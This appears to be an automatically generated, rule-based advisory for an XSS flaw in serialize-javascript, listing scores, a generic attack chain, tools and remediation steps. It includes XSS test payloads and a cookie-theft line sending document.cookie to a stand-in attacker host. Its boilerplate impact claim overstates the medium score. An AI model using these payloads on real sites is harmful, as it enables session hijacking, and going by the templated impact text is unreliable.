serialize-javascript from 7.0.1 before 7.1.3 contains a cross-site scripting vulnerability that allows attackers to break out of HTML script elements by ending serialized function source text with an unescaped </script. Attackers controlling a function's source via a spoofed toString() can combine surrounding output delimiters and later values to inject live markup such as img onerror handlers.
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ CVE-2026-115754 CVSS 4.7/10 · MEDIUM · 23.10.2026 CWE: CWE-79 Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
🎯 WHAT IS THIS VULNERABILITY? Cross-Site Scripting (XSS) Summary: serialize-javascript from 7.0.1 before 7.1.3 contains a cross-site scripting vulnerability that allows attackers to break out of HTML script elements by ending serialized function source text with an unescaped </script. Attackers controlling a function's source via a spoofed toString() can combine surrounding output delimiters and later values to inject live markup such as img onerror handlers.
⚡ ATTACK CHAINAttack steps:1. Identify reflection points (search, comments, profile fields).2. Test: <script>alert(document.domain)</script> or <img src=x onerror=alert(1)>3. Session hijacking: fetch('https://attacker.com/?c='+document.cookie)4. Stored XSS: inject persistent payload in user-controlled fields.5. Browser exploitation via BeEF.
<script>alert(document.domain)</script>
<img src=x onerror=alert(1)>
fetch('https://attacker.com/?c='+document.cookie)
🔧 Tools: BeEF, XSStrike, Dalfox, Burp Suite🗺️ MITRE ATT&CK: T1189 (Drive-by Compromise), T1185 (Browser Session Hijacking)
🌍 REAL WORLD IMPACT All confidential data readable/stealable; pivot to other systems possible.
🛡️ REMEDIATION → Apply the vendor-released patch immediately. → Add CSP headers, HTML-encode all user input. → Pre-patch: put service behind VPN or apply IP allowlist. → Add WAF rule, create IDS alert for anomalous traffic.
⚠️ URGENCY 📋 Routine update cycle (30 days)
────────────────────────────────────────[Kural Tabanlı Analiz] [💡 Add ai_key to config.json (Claude: sk-ant-... or Groq: gsk_...) for real AI analysis]